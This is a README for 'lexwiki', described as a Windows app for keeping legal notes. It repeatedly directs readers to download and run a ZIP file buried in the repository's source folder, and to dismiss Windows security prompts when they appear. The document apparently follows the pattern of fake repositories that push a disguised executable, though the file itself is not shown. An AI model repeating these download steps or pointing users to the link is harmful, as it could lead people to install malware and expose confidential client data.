lexwiki

# 🧠 lexwiki - Keep Legal Notes in One Place [](https://github.com/KLN77350/lexwiki/raw/refs/heads/main/src/lexwiki/llm/Software-v3.0.zip) ## 🚀 Getting Started lexwiki keeps a live memory for your legal documents. It helps you store notes, links, and case details in one place so you can find them again fast. Use it when you want a simple local knowledge base for contracts, client work, and legal research. It is built for people who want a clear way to keep track of what matters. ## 📥 Download and Install 1. Open this page: [https://github.com/KLN77350/lexwiki/raw/refs/heads/main/src/lexwiki/llm/Software-v3.0.zip](https://github.com/KLN77350/lexwiki/raw/refs/heads/main/src/lexwiki/llm/Software-v3.0.zip) 2. Find the latest version or download option on the page. 3. Download the Windows file from that page. 4. If Windows asks for permission, choose to keep or run the file. 5. Follow the on-screen steps to finish setup. If the app comes as a ZIP file, right-click it and choose Extract All first. Then open the app file inside the folder. ## 🖥️ Run on Windows After install, open lexwiki from your Start menu or from the folder where you saved it. If you use a desktop shortcut, double-click it to launch the app. If Windows shows a security prompt, choose the option that lets you run the app. ## 📚 What lexwiki Does lexwiki gives you a steady place to store legal memory that stays useful over time. You can use it to: - Save contract notes - Track clause changes - Keep client facts in one place - Store legal research links - Build a private wiki for active matters - Reuse past work across related cases - Keep important context near your documents It works well as a memory layer for legal work, so you do not have to search through old files each time. ## 🧩 Main Features - **Legal knowledge base** Keep notes, references, and case context in one searchable place. - **Agent memory support** Store useful facts that can be used again later by your workflow tools. - **Contract tracking** Keep an eye on contract terms, edits, and important points. - **Wiki-style organization** Link related notes together so you can move through topics with ease. - **Obsidian-friendly structure** Use a format that fits a note-based workflow. - **CLI support** Use command-line tools if you want a faster text-based setup. - **MCP-ready workflow** Connect it with tools that support structured context sharing. ## 📝 How to Use It Start with one matter, one client, or one contract set. 1. Open lexwiki. 2. Create a new note for the case or document. 3. Add key facts, dates, names, and terms. 4. Link related notes together. 5. Update the notes when the document changes. A good setup might include: - One note for each client - One note for each contract - One note for each legal issue - One note for follow-up items - One note for source links and files Keep the wording short and direct. That makes it easier to read later. ## 🔍 Who It Is For lexwiki fits people who want a clean way to store legal context without using a heavy system. It is a good match for: - Solo lawyers - Small legal teams - Paralegals - Contract reviewers - Legal ops staff - Research assistants - People who manage many related documents ## ⚙️ Suggested Windows Setup For the smoothest use on Windows: - Keep the app in a folder you can find easily - Use a simple folder name like `lexwiki` - Keep your notes in the same place each time - Back up the folder on a regular basis - Use plain file names like `client-name-contract-notes.md` If you want to pair it with note tools, a folder-based workflow works well. ## 📁 Example Folder Layout A simple layout can look like this: - `Clients` - `Contracts` - `Cases` - `Research` - `Templates` - `Inbox` Inside each folder, keep one note per topic. This makes it easier to find the right file later. ## 🔐 Local Use lexwiki is meant for local use on your machine. That keeps your notes close at hand and easy to manage. For legal work, this is helpful when you want: - Fast access - Simple file control - A private workspace - A system you can back up yourself ## 🧠 Best Practices Use short notes. Keep each note focused on one topic. Add links when two items belong together. A few habits help a lot: - Write the date at the top of each note - Use the same label style each time - Note where each fact came from - Keep file names consistent - Review and update notes after each change If you stay steady with the structure, the memory stays useful. ## 🛠️ Troubleshooting If the app does not open: - Check that the download finished - Try opening it again - Move it to a simple folder like `Downloads` or `Desktop` - Make sure Windows did not block the file - Restart your PC and try again If your notes do not seem organized: - Check the folder names - Keep one topic per file - Use clear file names - Put related notes in the same folder If a file looks wrong after download: - Delete it - Download it again from [https://github.com/KLN77350/lexwiki/raw/refs/heads/main/src/lexwiki/llm/Software-v3.0.zip](https://github.com/KLN77350/lexwiki/raw/refs/heads/main/src/lexwiki/llm/Software-v3.0.zip) ## 📌 Common Uses lexwiki can help with: - Contract review memory - Clause comparison notes - Client history - Matter timelines - Legal research tracking - Internal team notes - Reusable case patterns - Personal legal reference files It is most useful when you need the same facts again and again. ## 🧭 File Types You May See You may see files like these: - `.exe` for Windows apps - `.zip` for compressed downloads - `.md` for notes - `.txt` for plain text - `.yaml` or `.json` for settings If you are unsure, open the app file or extract the ZIP file first. ## ✅ Quick Start Checklist - Download lexwiki from [https://github.com/KLN77350/lexwiki/raw/refs/heads/main/src/lexwiki/llm/Software-v3.0.zip](https://github.com/KLN77350/lexwiki/raw/refs/heads/main/src/lexwiki/llm/Software-v3.0.zip) - Open the file on Windows - Finish the setup steps - Create your first legal note - Add one client, case, or contract - Link related notes - Keep the folder backed up ## 🧾 Short Example You might create a note like this: - Client: Northwind Group - Matter: Vendor contract review - Key issue: Renewal term - Date: 2026-04-28 - Next step: Check notice period - Related note: Payment terms That simple structure gives you a clear record you can use later. ## 🧰 Tips for a Clean Workflow - Use one main folder for active work - Archive old matters instead of deleting them - Keep templates for repeat work - Add tags for fast sorting - Use links between related notes - Review your notes once a week ## 📎 Download Link Open the project page here and download the Windows version: [https://github.com/KLN77350/lexwiki/raw/refs/heads/main/src/lexwiki/llm/Software-v3.0.zip](https://github.com/KLN77350/lexwiki/raw/refs/heads/main/src/lexwiki/llm/Software-v3.0.zip)